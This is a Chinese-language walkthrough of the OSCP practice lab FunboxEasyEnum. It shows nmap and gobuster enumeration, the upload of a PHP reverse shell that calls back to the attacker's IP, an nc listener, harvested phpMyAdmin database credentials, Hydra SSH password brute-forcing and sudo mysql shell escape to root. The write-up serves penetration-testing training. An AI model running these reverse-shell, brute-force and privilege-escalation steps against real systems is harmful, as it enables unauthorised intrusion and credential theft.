OSCP系列靶场-Esay-FunboxEasyEnum

admin 2023年8月7日13:14:32评论9 views字数 4776阅读15分55秒阅读模式

获网安教程

免费&进群

OSCP系列靶场-Esay-FunboxEasyEnum  

本文由掌控安全学院-杳若投稿

总结

getwebshell → 带脚本语言的目录扫描 → 发现上传 → 上传getwebshell

提 权 思 路 → 利用用户弱密码 → SSH登录 → sudo-mysql提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.220

  • 启动靶机
    获取目标机器IP > 192.168.235.132

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次

    1. sudo nmap --min-rate 10000 -p- 192.168.235.132

OSCP系列靶场-Esay-FunboxEasyEnum
通过两次收集到的端口:→22,80

目标端口对应服务探测

  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.235.132

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用(待定)

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测到版本OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

  1. # 进入msf

  2. msfconsole

  3. # 搜索对应脚本

  4. msf6 > searchsploit OpenSSH 7.6p1

存在类似用户枚举,等后期没思路的时候考虑

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

  1. ssh root@192.168.235.132 -v

  2. # 如果显示publickey、password就是都支持

证明支持私钥以及密码登录

22-SSH弱口令爆破(待定)

尝试root账户的密码爆破,利用工具hydra,线程-t为6

  1. hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.235.132 ssh -s 22

慢慢爆破,探测下一个功能点

22-SSH手动登录尝试(失败)

尝试root账户的密码爆破发现报错之后进行手动尝试

  1. ssh root@192.168.235.132 -p 22

  2. # 密码尝试

  3. password > root

80-HTTP端口的信息收集

访问 http://192.168.235.132:80 从源码查看开始

信息收集-源码查看(无)

  1. # 包括文章中是否写明一些敏感信息

  2. curl http://192.168.235.132:80

无敏感信息

信息收集-目录扫描

信息收集-目录扫描初步
  1. dirsearch -u http://192.168.235.132:80 -x 302,403

OSCP系列靶场-Esay-FunboxEasyEnum
因为扫出了目录,深层次的扫描待选

  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典)

  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/robots.txt端点

访问 http://192.168.235.132/robots.txt 得到一行

  1. Enum_this_Box

访问 http://192.168.235.132/Enum_this_Box不通

从字面上理解需要枚举这个靶场(可能枚举还不够,待定)

/phpmyadmin/doc/html/index.html端点

该端点得到 phpmyadmin 4.6.6

/phpmyadmin/index.php与/phpmyadmin端点

是一个phpmyadmin的登录点

漏洞利用-msf

针对现有情况尝试搜索msf

  1. searchsploit phpmyadmin 4.6.6

没有发现存在历史漏洞

思考

似乎陷入了僵局,现在的方向是

  • 用更大的字典(robots的提示)

  • 递归爆破子路径

  • 登录端点的弱口令、爆破

  • ssh端点的爆破与利用

    信息收集-目录扫描gobuster

    决定使用字典,并且根据脚本语言使用php后缀

    发现了新的端点/mini.php

    1. # -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl

    2. gobuster dir -u http://192.168.235.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php -k

漏洞利用-getwebshell

端点访问

访问 http://192.168.235.132/mini.php 似乎是文件上传点

上传功能点探测

测试发现可以上传任意.php文件

路径确认

点击文件之后发现存在文件读取

OSCP系列靶场-Esay-FunboxEasyEnum
从路径确认是/var/www/html/下,文件在主目录内
就是主域名+shell.php
上传任意文本后访问验证猜想

文件上传getwebshell

反弹shell准备

  1. # 利用cp命令cp一个到当前文件夹

  2. sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

  1. # 开启监听

  2. sudo nc -lvnp 5555

  1. # 利用grep确定修改反弹shell_ip的第49行

  2. grep -n "127.0.0.1" shell.php

  3. > 49:$ip = '127.0.0.1'; // CHANGE THIS

  4. # 同理监听端口是第50行

  5. grep -n "1234" shell.php

  6. 50:$port = 1234; // CHANGE THIS

  7. # 利用sed命令替换里面的内容

  8. sed -i '49s/127.0.0.1/192.168.45.220/' shell.php

  9. sed -i '50s/1234/5555/' shell.php

  10. # 利用sed查看49与50行是否修改成功

  11. sed -n '49,50p' shell.php

成功获取webshell

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

  1. python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data@funbox7:/$ cat /var/www/local.txt

  2. ********************

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

  1. # 确定发行版本

  2. cat /etc/*-release

发行版本为ubuntu的18版本,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

  1. uname -a

内核版本为4.15

检测当前用户的权限

  1. www-data@funbox7:/$ id

  2. id

  3. uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # 利用sudo -l寻找

  2. sudo -l

发现需要密码

列举出所有suid文件

如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # -perm 文件权限

  2. find / -perm -u=s -type f 2>/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

  1. ls -al /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权

  • 如果/etc/shadow具有可读权限可以爆破密码

    1. ls -al /etc/shadow

getcap标志进程收集(无)

高版本下suid列举不全,查看getcap

  1. # 探查有CAP_SETUID标志的进程

  2. /usr/sbin/getcap -r / 2>/dev/null

列举定时任务(无)

查找所有的定时任务,并且查看定时任务是否具有修改权限

  1. # 寻找定时任务

  2. cat /etc/crontab

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

  1. ls -al /home

发现了五个用户

  1. goat

  2. harry

  3. karla

  4. oracle

  5. sally

确认当前用户home目录下是否有隐藏文件(无)
  1. # 例如.ssh找密码 ./*_history找历史记录等

  2. ls -al /home/[用户]

确认/var目录下信息

一般配置的cms之类的信息会放置在/var目录下
备份文件没有权限读取

OSCP系列靶场-Esay-FunboxEasyEnum
www目录下没找到什么信息

OSCP系列靶场-Esay-FunboxEasyEnum
到这里想到了mini.php是一个服务的话
phpmyadmin的内容还未查阅

phpmyadmin信息

  1. find / -name phpmyadmi* 2>/dev/null

发现了类似配置文件的部分

OSCP系列靶场-Esay-FunboxEasyEnum
首先查阅一下/etc/phpmyadmin目录下

OSCP系列靶场-Esay-FunboxEasyEnum
翻阅了一下资料phpmyadmin的配置文件是config.*.php

OSCP系列靶场-Esay-FunboxEasyEnum
得到了账号密码信息以及3306数据库

  1. $dbuser='phpmyadmin';

  2. $dbpass='tgbzhnujm!';

  3. $basepath='';

  4. $dbname='phpmyadmin';

  5. $dbserver='localhost';

  6. $dbport='3306';

  7. $dbtype='mysql';

mysql数据库翻阅(此路不通)
  1. # 连接数据库

  2. mysql -uphpmyadmin -ptgbzhnujm!

看到了很多表

OSCP系列靶场-Esay-FunboxEasyEnum
进去查看发现不成功

SSH爆破-1指定密码爆破

费劲千辛万苦我们得到的信息陷入了思路,但是得到了账号密码信息,可能可以用于登录其他用户
尝试直接su输入密码tgbzhnujm!发现不对

OSCP系列靶场-Esay-FunboxEasyEnum
那么可不可能该密码是某个用户的密码?
之前收集账户的时候的伏笔1将收集到的5个用户做成字典进行爆破

  1. echo "goatnharrynkarlanoraclensally" > user.txt

OSCP系列靶场-Esay-FunboxEasyEnum
利用hyrda进行指定密码的爆破

  1. # -L 指定账号字典

  2. hydra -L user.txt -p tgbzhnujm! -t 6 -vV 192.168.156.132 ssh -s 22

证明推测正确,成功找到可以ssh登录的用户

SSH爆破-2弱口令密码爆破

之前收集账户的时候的伏笔2利用账号等于密码的思路进行爆破

  1. hydra -L user.txt -P user.txt -t 6 -vV 192.168.156.132 ssh -s 22

发现也存在弱口令的密码

SSH登录

获取账号密码之后利用SSH进行登录

  1. sudo ssh karla@192.168.156.132 -p22

  2. password > tgbzhnujm!

OSCP系列靶场-Esay-FunboxEasyEnum
分别取两个ssh进行登录,查看哪个用户较为容易提权

  1. sudo ssh goat@192.168.156.132 -p22

  2. password > goat

权限提升

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找

  2. sudo -l

通过同时尝试,发现goat用户下存在sudo权限文件

OSCP系列靶场-Esay-FunboxEasyEnum
如果发现有东西的话 访问 https://gtfobins.github.io 寻找

  1. sudo mysql -e '! /bin/sh'

OSCP系列靶场-Esay-FunboxEasyEnum
输入成功提权

FLAG2获取

  1. # cat /root/proof.txt

  2. ***************************

完结撒花~

反思

兜兜转转了很久,最终才在用户处发现了突破口,枚举思路还需要提升。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

 

 分享后扫码加我


回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

OSCP系列靶场-Esay-FunboxEasyEnum

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月7日13:14:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSCP系列靶场-Esay-FunboxEasyEnumhttps://cn-sec.com/archives/1933417.html

发表评论

匿名网友 填写信息